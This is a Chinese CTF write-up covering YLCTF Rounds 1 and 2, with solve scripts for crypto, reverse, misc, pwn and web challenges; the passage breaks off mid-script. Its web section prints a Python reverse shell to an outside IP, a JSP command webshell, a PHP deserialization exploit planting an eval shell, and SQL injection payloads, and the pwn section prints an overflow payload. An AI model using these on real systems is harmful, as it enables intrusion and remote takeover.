本文最后更新于 2024年10月31日 晚上
前言:总排23,新生赛道11
Round 1 crypto [round1]BREAK e有范围,由于e的范围不算大,可以进行爆破得到e,求出d,解出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from Crypto.Util.number import *from gmpy2 import invert, gcd p = 112201812592436732390795120344111949417282805598314874949132199714697698933980025001138515893011073823715376332558632580563147885418631793000008453933543935617128269371275964779672888059389120797503550397834151733721290859419396400302434404551112484195071653351729447294368676427327217463094723449293599543541 q = 177020901129489152716203177604566447047904210970788458377477238771801463954823395388149502481778049515384638107090852884561335334330598757905074879935774091890632735202395688784335456371467073899458492800214225585277983419966028073512968573622161412555169766112847647015717557828009246475428909355149575012613 c = 2924474039245207571198784141495689937992753969132480503242933533024162740004938423057237165017818906240932582715571015311615140080805023083962661783117059081563515779040295926885648843373271315827557447038547354198633841318619550200065416569879422309228789074212184023902170629973366868476512892731022218074481334467704848598178703915477912059538625730030159772883926139645914921352787315268142917830673283253131667111029720811149494108036204927030497411599878456477044315081343437693246136153310194047948564341148092314660072088671342677689405603317615027453036593857501070187347664725660962477605859064071664385456 n = p * q phi = (p - 1 ) * (q - 1 )def generate_primes (start, end ): primes = [] for num in range (start, end + 1 ): if isPrime(num): primes.append(num) return primesfor e in generate_primes(55555 , 66666 ): if gcd(e, phi) == 1 : try : d = invert(e, phi) m = pow (c, d, n) flag = long_to_bytes(m).decode('utf-8' ) print (f"找到 e = {e} , 解密后的 flag: {flag} " ) break except ZeroDivisionError: continue except UnicodeDecodeError: continue
[round1]signrsa RSA 模数 n1 和 n2 之间有公因子 q,从而使得可以分别对这两个模数进行分解,然后使用对应的私钥对密文进行解密,通过共模攻击解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import gmpy2from Crypto.Util.number import * n1 = 18674375108313094928585156581138941368570022222190945461284402673204018075354069827186085851309806592398721628845336840532779579197302984987661547245423180760958022898546496524249201679543421158842103496452861932183144343315925106154322066796612415616342291023962127055311307613898583850177922930685155351380500587263611591893137588708003711296496548004793832636078992866149115453883484010146248683416979269684197112659302912316105354447631916609587360103908746719586185593386794532066034112164661723748874045470225129298518385683561122623859924435600673501186244422907402943929464694448652074412105888867178867357727 n2 = 20071978783607427283823783012022286910630968751671103864055982304683197064862908267206049336732205051588820325894943126769930029619538705149178241710069113634567118672515743206769333625177879492557703359178528342489585156713623530654319500738508146831223487732824835005697932704427046675392714922683584376449203594641540794557871881581407228096642417744611261557101573050163285919971711214856243031354845945564837109657494523902296444463748723639109612438012590084771865377795409000586992732971594598355272609789079147061852664472115395344504822644651957496307894998467309347038349470471900776050769578152203349128951 e = 65537 q = gmpy2.gcd(n1,n2)print (q) p1 = n1 // q p2 = n2 // q d1 = gmpy2.invert(e,(q-1 )*(p1-1 )) d2 = gmpy2.invert(e,(q-1 )*(p2-1 )) c = 17087345023822081623891751423634072935359933429883025338799316908134539732911987403379813791051721409025872046014445468757120127961953783792146805906255385927316168869306218712056692227481252348951991457948040258007096536015704568840248330993815252823424627958278346871867901249369170134106070695916355118499922945313335801615652226556995849239616859826762866841805915253356402366997693599487016453619500217382302173033771577307792501865322742699412806457301297719922487797626724702793650939979227432331932830374740050145956182452965260035182810782721888226896944881610943610565496963461471122317296063535420461202109 m = pow (c,d2,n2) m = pow (m,d1,n1)print (long_to_bytes(m))
[round1]ezrsa 也是类共模攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from Crypto.Util.number import long_to_bytes, inversefrom math import gcd hint = 74749248594786596691182255254760227675255640419811402596325257219264047909491854266322448991637721043565574231631858096560042784343181104155107927958136483921037567399591407065870395299938514992590953052021824859260647798407649617552126176876304021384535351268838294566489926141346712140945311688664783400430 n = 146150746308368977558105420785404636106107297097656606561134260305844960246816673265377081884447744494438593580830134146856713782255534506122943914554490808124199966427121519694676728571857729213721192818898378912680306144869946238782714021401494162427357692727211780506245166118326256365562777182481342235649 c = 12817272835509631426126672293486991243028800172545793296231214648592002361121076145968763436527652893903622692932403498323802323146995559960945697843044017192966527560462131618029760025950956635249851792561073659666145624864040328809279977987225518572316396679320621448299428750551755789817002220213790188515 e = 65537 p = gcd(pow (20240918 , e, n) - hint, n) q = n // p d = inverse(e, (p - 1 ) * (q - 1 )) flag = long_to_bytes(pow (c, d, n))print (flag)
[round1]r(A)=3 典型的矩阵问题,进行交互循环300次得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *import numpy as np p = remote('challenge.yuanloo.com' , 23115 )for attempt in range (300 ): try : print (f"Attempt {attempt + 1 } ..." ) line = p.recvuntil(":" .encode()) print (f"Received: {line.decode().strip()} " ) line = p.recvuntil("x=" .encode()) equation_str = line.decode().strip() print (f"Received: {equation_str} " ) equations = equation_str.split("\n" ) A = [] B = [] for i, eq in enumerate (equations): if i == len (equations) - 1 : continue left, right = eq.split("=" ) B.append(float (right.strip())) coefficients = [0 , 0 , 0 ] for term in left.split("+" ): term = term.strip() if "x" in term: coefficients[0 ] = float (term.split("*" )[0 ]) if "*" in term else 1.0 elif "y" in term: coefficients[1 ] = float (term.split("*" )[0 ]) if "*" in term else 1.0 elif "z" in term: coefficients[2 ] = float (term.split("*" )[0 ]) if "*" in term else 1.0 A.append(coefficients) A = np.array(A) B = np.array(B) solution = np.linalg.solve(A, B) p.sendline(str (int (solution[0 ]))) print (f"{solution[0 ]} " ) line = p.recvuntil("y=" .encode()) print (f"Received: {line.decode().strip()} " ) p.sendline(str (int (solution[1 ]))) print (f"{solution[1 ]} " ) line = p.recvuntil("z=" .encode()) print (f"Received: {line.decode().strip()} " ) p.sendline(str (int (solution[2 ]))) print (f"{solution[2 ]} " ) except Exception as e: print (f"Attempt {attempt + 1 } failed: {e} " ) p.interactive()
[round1]threecry 参考文章https://blog.csdn.net/luochen2436/article/details/131948093
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import gmpy2from Crypto.Util.number import long_to_bytes e = 0xe18e crypto05= 16623038441079077059861502314553840945014390827451667324209537222817794990697456726185616589892380248771957751215156366431853682717356212256182541599038824352426429058283605462766315213017886613935143369630579915129950428539117781616821575904280675596170305716041161748779293269633614559889401304768245038227061 crypto03= 7370478569029817135349016311298954172270465460003018672225010525611372855698643108316167758095660953716705265165460646442696451806405620591202977137450538604803993325516057226246866037605963589652887018894515430484657967483718879717967258257252134148706147029651520914313120373591263784166639605955378617102045 number1 = 6035830951309638186877554194461701691293718312181839424149825035972373443231514869488117139554688905904333169357086297500189578624512573983935412622898726797379658795547168254487169419193859102095920229216279737921183786260128443133977458414094572688077140538467216150378641116223616640713960883880973572260683 number2 = 20163906788220322201451577848491140709934459544530540491496316478863216041602438391240885798072944983762763612154204258364582429930908603435291338810293235475910630277814171079127000082991765275778402968190793371421104016122994314171387648385459262396767639666659583363742368765758097301899441819527512879933947 a_near = gmpy2.iroot(number2//325 ,2 )[0 ]while number2 % gmpy2.next_prime(13 *a_near)!=0 : a_near = gmpy2.next_prime(a_near) p = gmpy2.next_prime(13 *a_near) q = number2//p phi = (p-1 )*(q-1 ) t = gmpy2.gcd(e, phi) d = gmpy2.invert(e // t, phi) m2 = gmpy2.iroot(pow (crypto05, d, number2), t)[0 ] flag2 = long_to_bytes(m2) d1 = gmpy2.invert(number1, phi) m1 = pow (crypto03, d1, number2) flag1 = long_to_bytes(m1)print (flag1 + flag2)
Misc [签到] 打卡小能手
[Round 1] hide_png 给的图片用stegsolve来看,有点模糊但是可以看看
flag没存忘了
[Round 1] pngorzip
save bin形式得到zip,010去掉114514????后面的冗杂内容进行掩码攻击得到giao,解压得到flag
YLCTF{d359d6e4-740a-49cf-83eb-5b0308f09c8c}
[Round 1] plain_crack 尝试再写个压缩包进行明文攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import zipfileimport osdef create (files, zfile ): with zipfile.ZipFile(zfile, 'w' ) as zipf: for file in files: zipf.write(file, os.path.basename(file), compress_type=zipfile.ZIP_DEFLATED)if __name__ == '__main__' : files = ['build.py' ] zfile = 'crack2.zip' create(files, zfile)
pyadminzip我本地的轮子有问题就用了zipfile需要测试几次才可以进行明文攻击,等待几分钟直接解压里面有flag.docx,docx也是一种zip文件形式,改成zip里面有个图片得到flag
[Round 1] trafficdet 是个ai模型分析,把要求告诉chatgpt上传对应的文件然后叫他按形式写出解密脚本就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import pandas as pdfrom sklearn.model_selection import train_test_splitfrom sklearn.ensemble import RandomForestClassifierfrom sklearn.metrics import accuracy_scoredef load_and_preprocess_data (train_file, test_file ): train_data = pd.read_csv(train_file) train_data = train_data.dropna() X = train_data.drop(columns=['Label' ]) y = train_data['Label' ] test_data = pd.read_csv(test_file) return X, y, test_datadef train_model (X_train, y_train, n_estimators=100 , random_state=42 ): model = RandomForestClassifier(n_estimators=n_estimators, random_state=random_state) model.fit(X_train, y_train) return modeldef evaluate_model (model, X_val, y_val ): y_pred = model.predict(X_val) accuracy = accuracy_score(y_val, y_pred) print (f'Model Accuracy: {accuracy:.2 f} ' ) return y_preddef make_predictions (model, X_test ): return model.predict(X_test)def save_results (predictions, output_file ): result = pd.DataFrame({'Label' : predictions}) result.index += 1 result.index.name = 'id' result.to_csv(output_file, index=True ) if __name__ == "__main__" : X, y, test_data = load_and_preprocess_data('train.csv' , 'test.csv' ) X_train, X_val, y_train, y_val = train_test_split(X, y, test_size=0.1 , random_state=42 ) model = train_model(X_train, y_train) evaluate_model(model, X_val, y_val) test_preds = make_predictions(model, test_data) save_results(test_preds, 'result.csv' )
[Round 1] whatmusic 可以发现password单独解压,010研究是图片逆转写个脚本
1 2 3 with open ('password' ,'rb' ) as f: with open ('flag' ,'wb' ) as g: g.write(f.read()[::-1 ])
然后导入010改文件尾,得到图片,然后还需要镜像一下,再进行在线网站的镜像处理得到password,然后进行解压
然后就没有思路了,给了hint也看不懂,信息收集后发现
死去的记忆痛击我,在今年的iscc里面就有一题是github上面的lyra项目转音频得到wav的题目,主要是要搭建环境,我这里用了香港的vps搭建版本ubuntu20,参考文章Lyra编码器基础环境搭建_lyra dajian-CSDN博客
环境构造搭好之后用xftp传入文件然后得到wav,多听几遍得到了flag
Pwn [Round 1] giaopwn
有nx保护
vuln有溢出点,查一下是有system和cat flag的
利用寄存器rbi放入地址
1 2 3 4 5 6 from pwn import * p = remote("challenge.yuanloo.com" ,44805 ) payload= b'a' *(0x28 )+p64(0x400743 )+p64(0x601048 )+p64(0x4006D2 ) p.sendline(payload) p.interactive()
Re [round1]xor 简单测试一下发现有upx,脱壳一下
分析一下简单的异或直接gpt梭个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 encrypted_bytes = [ 0x45 , 0x50 , 0x5f , 0x48 , 0x5A , 0x67 , 0x25 , 0x2F , 0x7E , 0x7D , 0x79 , 0x29 , 0x7A , 0x7D , 0x31 , 0x7D , 0x29 , 0x7D , 0x2E , 0x31 , 0x28 , 0x7D , 0x28 , 0x2B , 0x31 , 0x25 , 0x2A , 0x25 , 0x2D , 0x31 , 0x2B , 0x79 , 0x2A , 0x2B , 0x29 , 0x2B , 0x29 , 0x79 , 0x28 , 0x2A , 0x2F , 0x29 , 0x61 , 0x1C ]def decrypt (encrypted_bytes ): decrypted_bytes = [] for byte in encrypted_bytes: decrypted_byte = byte ^ 0x1C decrypted_bytes.append(decrypted_byte) return decrypted_bytes decrypted_values = decrypt(encrypted_bytes) decrypted_string = '' .join(chr (b) for b in decrypted_values)print (decrypted_string)
[round1]ezgo ida看一下加密逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 encrypted_bytes = [ 108 , 122 , 116 , 108 , 127 , 65 , 94 , 90 , 12 , 15 , 15 , 120 , 113 , 118 , 110 , 34 , 115 , 112 , 36 , 101 , 125 , 46 , 121 , 47 , 96 , 119 , 119 , 53 , 101 , 127 , 50 , 101 , 96 , 100 , 110 , 59 , 109 , 57 , 98 , 56 , 57 , 56 , 34 ]def decrypt (encrypted ): decrypted = [] for i, byte in enumerate (encrypted): decrypted_byte = byte ^ (i + 53 ) decrypted.append(decrypted_byte) return bytes (decrypted) decrypted_bytes = decrypt(encrypted_bytes)print (decrypted_bytes.decode('utf-8' , errors='ignore' ))
[round1]xorplus ida打开分析一下是rc4的加密逻辑,没学会,一股脑把加密逻辑扔给claude帮我解密,出脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 def rc4_init (key ): S = list (range (256 )) j = 0 for i in range (256 ): j = (j + S[i] + ord (key[i % len (key)]) + 1300 ) % 256 S[i], S[j] = S[j], S[i] return Sdef rc4_crypt (S, data ): i = j = 0 result = [] for byte in data: i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256 ] result.append(((byte - 20 ) & 0xFF ) ^ k) return bytes (result)def main (): key = "welcometoylctf" encrypted_data = [0x91 , 0x86 , 0x1b , 0x2d , 0x9e , 0x6f , 0x57 , 0x5d , 0x44 , 0xec , 0xa3 , 0x9f , 0xcd , 0x89 , 0x22 , 0x65 , 0x3b , 0xa3 , 0x60 , 0x2d , 0x80 , 0x54 , 0x78 , 0x67 , 0x6c , 0x4e , 0x81 , 0x53 , 0x4d , 0x26 , 0x8 , 0x96 , 0x84 , 0x46 , 0x29 , 0xc5 , 0xb4 , 0x7e , 0x29 , 0xc5 , 0xb9 , 0x87 , 0xa6 ] S = rc4_init(key) decrypted = rc4_crypt(S, encrypted_data) print ("Decrypted message:" , decrypted.decode('ascii' ))if __name__ == "__main__" : main()
[round 1]calc 分析解密的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 #include <stdio.h> #include <math.h> #include <string.h> #include <stdlib.h> typedef struct Stack { double * low; int size; double * top; } stack ;void init (stack * s) { s->size = 100 ; s->low = (double *)malloc ((sizeof (double )) * 100 ); s->top = s->low; }void push (stack * s, double e) { *(s->top) = e; s->top++; }void pop (stack * s, double * e) { s->top--; *e = *(s->top); }int main () { setbuf(stdin , 0 ); setbuf(stdout , 0 ); stack s; double e, d; char ch; double d, e; init(&s); char num[100 ]; int i = 0 ; puts ("input data, end of '#'" ); scanf ("%c" , &ch); while (ch != '#' ) { while (ch >= '0' && ch <= '9' ) { num[i] = ch; i++; scanf ("%c" , &ch); } if (ch == ' ' ) { num[i] = '\0' ; d = atof(num); push(&s, d); i = 0 ; } else { switch (ch) { case '+' : pop(&s, &d); pop(&s, &e); push(&s, e + d); break ; case '-' : pop(&s, &d); pop(&s, &e); push(&s, e - d); break ; case '*' : pop(&s, &d); pop(&s, &e); push(&s, e * d); break ; case '/' : pop(&s, &d); pop(&s, &e); push(&s, e / d); break ; } } scanf ("%c" , &ch); if (d == 125 ) { printf ("%s" , getenv("GZCTF_FLAG" )); } } return 0 ; }
程序使用逆波兰表示法(Reverse Polish Notation,RPN)进行计算。当栈顶的值达到 125 时,程序会输出 GZCTF_FLAG。
在栈顶产生值 125。所以能在栈顶产生 125 的 RPN 表达应该是有效的输入
尝试了一些其他的没有成功这个是成功的
Web [Round 1] Disal 看不出东西,看看robots.txt,有提示去f1ag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php show_source (__FILE__ );include ("flag_is_so_beautiful.php" );$a =@$_POST ['a' ];$key =@preg_match ('/[a-zA-Z]{6}/' ,$a );$b =@$_REQUEST ['b' ];if ($a >999999 and $key ){ echo $flag1 ; }if (is_numeric ($b )){ exit (); }if ($b >1234 ){ echo $flag2 ; }?>
a是匹配是否有六个字母,b是大于这个数就行函数构造绕过就行
1 2 3 4 5 6 7 8 import requests url = 'http://challenge.yuanloo.com:21836/f1ag.php' payload = { 'a' : '1000000eeeeee' , 'b' : '1235abc' } response = requests.post(url, data=payload)print (response.text)
[Round 1] shxpl 测试一下常见的ls和cat都被禁用了,这里空格用%09进行绕过,联合查询一下
然后执行cat /flag 参照上面的内容
[Round 1] Injct 简单测了一下是xss还是ssti,发现是flask的模板注入,测试一下常见的花括号被禁了,用fenjing看看内容
1 python -m fenjing crack --url http://challenge.yuanloo.com:25882/greet --inputs name --method POST
可以shell到但是试了常见的命令不能成功
考虑到这是python写的网站,用弹个shell给我的vps,成功拿到shell得到flag
1 python3 -c 'import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("8.130.42.113", 5566)); [os.dup2(s.fileno(), i) for i in (0, 1, 2)]; subprocess.call(["/bin/sh", "-i"])'
[Round 1] TOXEC(复现) 测试了一下发现上传jsp文件会直接杀掉,又dirsearch扫了一下发现在WEB-INF
有大量的404回显,猜测可能和羊城杯的题目相似(虽然我没写bushi),先上传一个shell.xml,是jsp的回显马
先上传这个,bp抓包改一下文件名
1 2 3 4 5 6 7 8 9 10 11 12 <% if(request.getParameter("cmd")!=null){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre > "); while((a=in.read(b))!=-1){ out.print(new String(b)); } out.print("</pre > "); } %>
然后再上传下面这个也需要改成对应的文件格式将上面的xml解析成jsp,传入马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version ="4.0" > <servlet > <servlet-name > exec</servlet-name > <jsp-file > /WEB-INF/shell.xml</jsp-file > <load-on-startup > 1</load-on-startup > </servlet > <servlet-mapping > <servlet-name > exec</servlet-name > <url-pattern > /orange</url-pattern > </servlet-mapping > </web-app >
最后的结果如下
[Round 1] pExpl(复现) 先上源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 <?php error_reporting (0 );class FileHandler { private $fileHandle ; private $fileName ; public function __construct ($fileName , $mode = 'r' ) { $this ->fileName = $fileName ; $this ->fileHandle = fopen ($fileName , $mode ); if (!$this ->fileHandle) { throw new Exception ("Unable to open file: $fileName " ); } echo "File opened: $fileName \n" ; } public function readLine ( ) { return fgets ($this ->fileHandle); } public function writeLine ($data ) { fwrite ($this ->fileHandle, $data . PHP_EOL); } public function __destruct ( ) { if (file_exists ($this ->fileName) &&!empty ($this ->fileHandle)) { fclose ($this ->fileHandle); echo "File closed: {$this->fileName} \n" ; } } }class User { private $userData = []; public function __set ($name , $value ) { if ($name == 'password' ) { $value = password_hash ($value , PASSWORD_DEFAULT); } $this ->userData[$name ] = $value ; } public function __get ($name ) { return $this ->userData[$name ] ?? null ; } public function __toString ( ) { if (is_string ($this ->params) && is_array ($this ->data) && count ($this ->data) > 1 ){ call_user_func ($this ->data,$this ->params); } return "Hello" ; } public function __isset ($name ) { return isset ($this ->userData[$name ]); } }class Logger { private $logFile ; private $lastEntry ; public function __construct ($logFile = 'application.log' ) { $this ->logFile = $logFile ; } private function log ($level , $message ) { $this ->lastEntry = "[" . date ("Y-m-d H:i:s" ) . "] [$level ] $message " . PHP_EOL; file_put_contents ($this ->logFile, $this ->lastEntry, FILE_APPEND); } public function setLogFile ($logFile ) { $this ->logFile = $logFile ; } public function clearOldLogs ($daysToKeep = 30 ) { $files = glob ("*.log" ); $now = time (); foreach ($files as $file ) { if (is_file ($file )) { if ($now - filemtime ($file ) >= 60 * 60 * 24 * $daysToKeep ) { unlink ($file ); } } } } public function __call ($name , $arguments ) { $validLevels = ['info' , 'warning' , 'error' , 'debug' ]; if (in_array ($name , $validLevels )) { $this ->log (strtoupper ($name ), $arguments [0 ]); } else { throw new Exception ("Invalid log level: $name " ); } } public function __invoke ($message , $level = 'INFO' ) { $this ->log ($level , $message ); } }if (isset ($_GET ['exp' ])) { if (preg_match ('/<\?php/i' ,$_GET ['exp' ])){ exit ; } $exp = unserialize ($_GET ['exp' ]); throw new Exception ("Test!" ); } else { highlight_file (__FILE__ ); }
1 2 3 4 5 if (preg_match ('/<\?php/i' ,$_GET ['exp' ])){ exit ; }$exp = unserialize ($_GET ['exp' ]);throw new Exception ("Test!" );
根据这里可以使用php的短标签,throw new Exception("Test!");
可以利用GC机制进行绕过,简单的来说就用构造数组进行绕过
再分析一下上面的pop链
1 2 3 4 5 6 public function __destruct ( ) { if (file_exists ($this ->fileName) &&!empty ($this ->fileHandle)) { fclose ($this ->fileHandle); echo "File closed: {$this->fileName} \n" ; } }
echo
可以触发__toString
魔术
1 2 3 4 5 6 public function __toString() { if (is_string($this ->params) && is_array($this ->data ) && count($this ->data ) > 1 ){ call_user_func($this ->data ,$this ->params); } return "Hello" ; }
call_user_func
函数用于回调构造,不能直接触发命令执行,由于有参数限制,也不能直接调用,可以尝试构造不存在的函数以此来触发__call
魔术
1 2 3 4 5 6 7 8 9 public function __call ($name , $arguments ) { $validLevels = ['info' , 'warning' , 'error' , 'debug' ]; if (in_array ($name , $validLevels )) { $this ->log (strtoupper ($name ), $arguments [0 ]); } else { throw new Exception ("Invalid log level: $name " ); } }
需要调用到 array
中的一个,然后在触发文件写入,构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php class FileHandler { private $fileHandle ; private $fileName ; public function __construct ($fileName ) { $this ->fileName = $fileName ; } }class User { private $userData = []; }class Logger { private $logFile ; private $lastEntry ; public function __construct ($logFile ) { $this ->logFile = $logFile ; } }$c = new Logger ("/var/www/html/1.php" );$b = new User ();$b ->data = [$c , "info" ];$b ->params = '<?=@eval($_POST[1]);?>' ; $a = new FileHandler ($b );$a1 = array ($a , null );$s = serialize ($a1 );$s = str_replace ('1;N' , '0;N' , $s );echo urlencode ($s );?>
[Round 1] sInXx(复现) 这题在写的时候一直没找到注入点,跟着复现一下
1 search=juan79%27%09and%09(1=1)%23
这个是有回显的,看下面的
1 search=juan79%27%09and%09(1=2)%23
这个就是无回显的
然后接着继续测试一下
1 search=juan79%27%09union%09select%091,2,3,4%23
测试发现,
应该被过滤了,可以用别名进行查询
1 search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#
继续测(不是MySQL的数据库,而是sql sever的数据库)
sys.schema_table_statistics_with_buffer
是一个系统表,通常在 SQL Server 中存在,包含关于表的统计信息。
1 search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)FROM%09sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#
继续往下测
1 search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09`2`%09FROM%09(SELECT%09*%09FROM%09((SELECT%091)a%09JOIN%09(SELECT%092)b)%09UNION%09SELECT%09*%09FROM%09DataSyncFLAG)p%09limit%092%09offset%091)A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#
最后得到了flag这个数据库没怎么遇见过涨知识了,
还有一道java我最近刚开始学,先不复现了。
Round 2 crypto [Round 2] ezAES key和iv需要进行填充,得到字符串只会输入靶场得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpaddef adjust_bytes (data, size ): return data[:size].ljust(size, b'\0' ) key = adjust_bytes(b'YLCTF-CRYPTO' , 16 ) iv = adjust_bytes(b'YLCTF-IV' , 16 )print ("Key:" , key)print ("IV:" , iv) encrypted_data = b'\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]"\xfc6\xf8\x8cS\xe9b\x19' cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_data = cipher.decrypt(encrypted_data)try : unpadded_data = unpad(decrypted_data, AES.block_size) flag = unpadded_data.decode('utf-8' ) print ("Decrypted flag:" , flag)except ValueError as e: print ("Decryption failed. Error:" , str (e)) print ("Raw decrypted data:" , decrypted_data)
[Round 2] ancat(三血) 通过反 Arnold 变换对图像进行解码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import cv2import numpy as npdef arnold_decode (image, shuffle_times, a, b ): decode_image = np.zeros(shape=image.shape, dtype=np.uint8) h, w = image.shape[0 ], image.shape[1 ] N = h for _ in range (shuffle_times): for x in range (h): for y in range (w): new_x = ((a*b+1 )*x + (-b)*y) % N new_y = (-a*x + y) % N decode_image[new_x, new_y, :] = image[x, y, :] image = np.copy(decode_image) cv2.imwrite('de_flag.png' , decode_image, [int (cv2.IMWRITE_PNG_COMPRESSION), 0 ]) return decode_image img = cv2.imread('en_flag.png' ) decoded_img = arnold_decode(img, 3 , 6 , 9 )
[Round 2] hhhhhash(二血) 通过 RSA 加密和解密的操作,生成一个由 2
和 3
相关的预映像。该预映像是由两个固定值 2
和 3
,以及它们加密后异或的解密结果组成的字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from Crypto.Util.number import inverse N = 24187393262220937846390501443742832858626434119009614437585110078354058452015513549456536194956883531427150348615517313864237793745207153851247294085645697596388459039963846522372296585446089302800483043022329465803710493794211051569707438274254451965191340677881575500674368344178840546343108889174677894222885416258598492663798090390503785098514218961277236306118846673370386248291600553097856252637702622367340613301550171775336709322733018489345819827313673171715980174821509418454309036717777663660169340209676530313209371349708592854940984111594670893579387030559835418881208057159859916049414143236495356055079 e = 65537 c = pow (2 , e, N) ^ pow (3 , e, N) phi = N - 1 d = inverse(e, phi) x = pow (c, d, N) b0 = (2 ).to_bytes(256 , 'big' ).hex () b1 = (3 ).to_bytes(256 , 'big' ).hex () b2 = x.to_bytes(256 , 'big' ).hex () preimage = b0 + b1 + b2print ("Calculated preimage:" )print (preimage)
[Round 2] rand(一血) 参考ASIS2023 Crypto - 知乎 (zhihu.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *import re p = remote('challenge.yuanloo.com' , 46464 )for _ in range (400 ): line = p.recvuntil("\n" .encode()) line_decoded = line.decode() print (line_decoded) numbers = re.findall(r'\d+' , line_decoded) if numbers: p_value = int (numbers[0 ]) g = p_value - 4 print ("p =" , p_value) line = p.recvuntil("g:" .encode()) print (line.decode()) p.sendline(str (g).encode()) print ("g =" , g) line = p.recvuntil(":" .encode()) print (line.decode()) x = 2 y = p_value - 2 p.sendline(f"{x} ,{y} " .encode()) print (f"Sending: {x} ,{y} " ) p.interactive()
Misc [Round 2] IMGAI(三血) 和iscc 2024的re题有点相似,也是需要识别图片转得知文字,利用模型得到答案
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *import torchimport torch.nn as nnfrom torchvision import transformsfrom PIL import Imageimport numpy as npimport reclass MNISTCNN (nn.Module): def __init__ (self ): super (MNISTCNN, self).__init__() self.conv1 = nn.Conv2d(1 , 32 , kernel_size=5 , padding=2 ) self.conv2 = nn.Conv2d(32 , 64 , kernel_size=5 ) self.fc1 = nn.Linear(64 * 5 * 5 , 1024 ) self.fc2 = nn.Linear(1024 , 10 ) self.pool = nn.MaxPool2d(2 , 2 ) self.relu = nn.ReLU() def forward (self, x ): x = self.pool(self.relu(self.conv1(x))) x = self.pool(self.relu(self.conv2(x))) x = x.view(-1 , 64 * 5 * 5 ) x = self.relu(self.fc1(x)) return self.fc2(x)def load_model (model_path ): model = MNISTCNN() model.load_state_dict(torch.load(model_path, map_location=torch.device('cpu' ))) model.eval () return modeldef preprocess_image (binary_data ): image_array = np.array([int (pixel) for pixel in binary_data]).reshape(480 , 640 ) image = Image.fromarray(np.uint8(image_array * 255 ), mode='L' ) transform = transforms.Compose([ transforms.Resize((28 , 28 )), transforms.ToTensor(), transforms.Normalize((0.1307 ,), (0.3081 ,)) ]) return transform(image).unsqueeze(0 )def predict_digit (model, image ): with torch.no_grad(): output = model(image) return torch.max (output, 1 